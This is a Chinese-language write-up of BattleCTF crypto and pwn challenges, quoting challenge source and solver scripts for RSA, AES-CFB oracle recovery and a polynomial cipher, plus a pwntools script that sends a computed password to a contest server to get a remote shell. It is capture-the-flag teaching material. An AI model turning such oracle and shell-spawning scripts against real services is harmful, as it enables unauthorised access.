BattleCTF Crypto&PWN 部分题解

BattleCTF-Blind-最终分值:100

Crypto分类下的一道Misc
&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2]

CyperChef上先BASE85(CyperChef会自动分析出)再解盲文,在厨子(他们都这么叫CyperChef)上盲文叫braille

最后需要把flag的壳改为battleCTF即可


Sahara 看起来很复杂但实际上只是一道简单RSA

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
 
FLAG = open("flag.txt").read()
 
def load_public_key():
    with open('pub.pem', 'rb') as pubf:
        pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend())
    return pubkey
 
def encrypt(pubkey:rsa.RSAPublicKey, ptxt:str) -> str:
    enc =  pubkey.encrypt(ptxt.encode(), padding.PKCS1v15())
    return b64encode(enc).decode()
 
def get_pem(key:rsa.RSAPrivateKey|rsa.RSAPublicKey):
    if isinstance(key, rsa.RSAPublicKey):
        pem = key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
    else:
        pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())
    return pem
 
if __name__ == '__main__':
    pub_key = load_public_key()
    pub_key_pem = get_pem(pub_key).decode()
    enc_flag = encrypt(pub_key, FLAG)
    with open('flag.enc', 'w') as f:
        f.write(enc_flag)
exp
n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321
e = 65537
enc = 'QrjGSaOn4vUMNLAWdKif3s0pTi3vjDupP764AqUV13FtO+0MVO5m848H1THn33Lorn5vhDOtr5x3kJBHP8lfPbgvoiw7n/FdhjjyclAlB4JLANUgLIjvurvMfFshuvsg3ljXnpNu+oVET/AgDev1hJp9CrbQ+8Axx9ki4ZRldqC/eUbzypqeun2jjKjMi98GamW6ufnZSxtJwajWLK6dHB72Dcx4sn38iHnqikRixOaUeJ6jR2yhdIYhQr4nU5tggHoxsLjnia8x4qTc4lWYAYz6vJiw1zRs0JwK//sZdEtx09c59Mj0WNrmkD8gP98f22LjHNPIxAHl3OyWY+PfcA=='
 
from gmpy2 import iroot 
from Crypto.Util.number import *
from base64 import *
p = iroot(n,2)[0] # 拿着n去factordb.com试试, 发现n=p^2, 于是直接开根号得到p
d = inverse_mod(e, p*(p-1)) # phi = p*(p-1)而不是(p-1)*(p-1) 因为???
m = pow(bytes_to_long(b64decode(enc)),d,n)
print(long_to_bytes(m)[long_to_bytes(m).find(b'battle'):])
#battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}

SEA

每个字节与密码块中最左边的字节进行异或
结果 字节是加密的,也用作下一个 IV 的最右边字节
题目源码
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
 
iv = urandom(16)
key = urandom(16)
FLAG = b"battleCTF{REDACTED}"
 
def encrypt(data):
    cipher = AES.new(key, AES.MODE_CFB, iv)
    return cipher.encrypt(pad(data, 16))
 
 
print(encrypt(FLAG).hex())
while True:
	print(encrypt(input("> ").encode()).hex())
AES_CFB模式的爆破, 还不熟就先放别人的exp
from pwn import *
from Crypto.Cipher import AES

p=connect("chall.battlectf.online",20001)

enc_flag=p.recvline().decode()
enc_flag=bytes.fromhex(enc_flag)
ff=''
for i in (range(32)):
    data=f"{ff}"+"\x00"*(32-i) #padding
    data=data.encode() #encode
    p.recvuntil(b"> ") #recv
    p.sendline(data) #send
    data=bytes.fromhex(p.recvline().decode())
    ch=data[i]^enc_flag[i] #xor
    # print(ch)
    ff+=chr(ch) #get flag
print(ff)#battleCTF{m057_f4m0us_AES_0x0x0x
真《爆破》法2
from pwn import *

p = remote('chall.battlectf.online', 20001)
#context. log_level = 'debug'

enc = bytes.fromhex(p.recvline().decode().strip())[:-1]
print(enc)
#v = enc
flag = b''
while flag[-1:] != b'}':
    fl= len(flag)
    for i in range(0x20,0x7f):
        p.sendlineafter(b'>', flag + bytes([i]))
        v = bytes.fromhex(p.recvline().decode().strip()) #
        if v[fl] == enc[fl]:
            flag += bytes([i])
            print (flag)

            break

Gooss

题目源码

import random
flag = 'battleCTF{******}'
a = random.randint(4,9999999999)
b = random.randint(4,9999999999)
c = random.randint(4,9999999999)
d = random.randint(4,9999999999)
e = random.randint(4,9999999999)
 
enc = []
for x in flag:
    res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)
    enc.append(res)
print(enc)
 
enc = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]
因为给了 flag 的一部分,于是分析出是解方程,用求解器求出参数,然后爆破
网站算a,b,c,d,e然后带入
codedFlag = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 
1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 
324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 
2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547,
 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 
1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961,
 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364,
 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 
2796116718132693772, 3291439457645322417]
alphabet = '}abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWiYZ0123456789{'
encodedAlphabet =[]
Flag ='' 

a = 6709636436
b = 7748795321
c = 7386429784
d = 62359624
e = 5008041292

for i in alphabet:
    encodedAlphabet.append(2 * a * pow(ord(i),4) + b * pow(ord(i),3) + c * pow(ord(i),2) + d * ord(i) + e)  
for i in codedFlag:
    if i in encodedAlphabet:
        Flag += alphabet[encodedAlphabet.index(i)]

print( " The flag is: ",Flag)

"""encoded =[3291439457645322417,
 1195140205147730541, 1245115057305148164, 1296641051725572103, 1349749958062843692, 
 1404473868033353193, 1460845195416039796, 1518896676052391619, 1578661367846445708, 1640172650764788037,
   1703464226836553508, 1768570120153425951, 1835524676869638124, 1904362565201971713, 
 1975118775429757332, 2047828619894874523, 2122527733001751756, 2199252071217366429, 2278037913071244868,
   2358921859155462327, 2441940832124642988, 2527132076695959961, 2614533159649135284, 2704181969826439923, 
 2796116718132693772, 2890375937535265653, 2986998483064073316, 1099718459319293547, 
 241701637453028877, 256887092129683588, 272777109172255911, 289393152233021484, 306757007026804873,
   324890781330979572, 343816904985468003, 363558129892741516, 384137530017820389,
   405578501388273828, 427904762094219967, 451140352288325868, 475309634185807521, 
 500437292064429844, 526548332264506683, 553668083188900812, 581822195303023933,
   611036641134836676, 641337715274848599, 672752034376118188, 705306537154252857, 739028484387408948, 
 773945458916291731, 1640172650764788037, 847476431536803093, 886147205622586852, 72109063929756364, 
 78288818574073053, 84857529065607492, 91831183993303543, 99226094008653996, 107058891825700569,
   115346532221033908, 124106292033793587, 133355770165668108, 143112887580894901, 3086023531811583439]"""
或者可以 z3
from sage.all import *

var('a', 'b', 'c', 'd', 'e')

solution = solve([1245115057305148164 == 2*a*98**4 + b*98**3 + c*98**2+d*98+e,
       1835524676869638124 == 2*a*108**4 + b*108**3 + c*108**2+d*108+e,
       1195140205147730541 == 2*a*97**4 + b*97**3 + c*97**2+d*97+e,
       2441940832124642988 == 2*a*116**4 + b*116**3 + c*116**2+d*116+e,
       1404473868033353193 == 2*a*101**4 + b*101**3 + c*101**2+d*101+e], [a,b,c,d,e])

ct = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]

print(solution)

var('x')
poly = 2*solution[0][0].rhs()*x**4 + solution[0][1].rhs()*x**3 + solution[0][2].rhs()*x**2+solution[0][3].rhs()*x+solution[0][4].rhs()

pt = ""
for ciphertext in ct:
    #sol = solve(poly == ciphertext, x)
    for b in range(256):
        value = int(poly(x=b))
        if value == ciphertext:
            pt += chr(b)
            break
    else:
        print(f"Couldn't solve '{ciphertext}' in bytes")
print(pt)

PWN

Event

题目源码
#include <stdio.h>
#include <unistd.h>
 
int main(){
	long pass;
	puts("Welcome to battleCTF Event portal.");
	printf("Enter you invite code to participe:");
	scanf("%s",&pass);
	if(pass * 0x726176656e70776eu == 0x407045989b3284aeu){
		execl("/bin/sh", "sh", 0);
	}
	else
		puts("\nWrong password ..!");
	return 0;
}
exp part1
a = 0x407045989b3284ae
b = 0x726176656e70776e
from z3 import *
x = BitVec('x', 64) # 64位溢出计算
s = Solver()
s.add(x*b == a)
print(s.check())
print(s.model())
#[x = 7959954447263493729]
# print(hex(s.model()[x].as_long() * b)) # 这里验算出来不等于a 不是很懂 ### ooo好像是因为有uInt溢出 所以不能直接算?
exp part2
from pwn import *
p = remote('chall.battlectf.online', 1001)
p.sendlineafter(b':' ,p64(7959954447263493729)) # %s读入的是字符串 所以用p64包裹
# print(p64(7959954447263493729)) # 'anniepwn'
p.interactive()

pwn第一题比这道难,是ROP链构造,做了单独发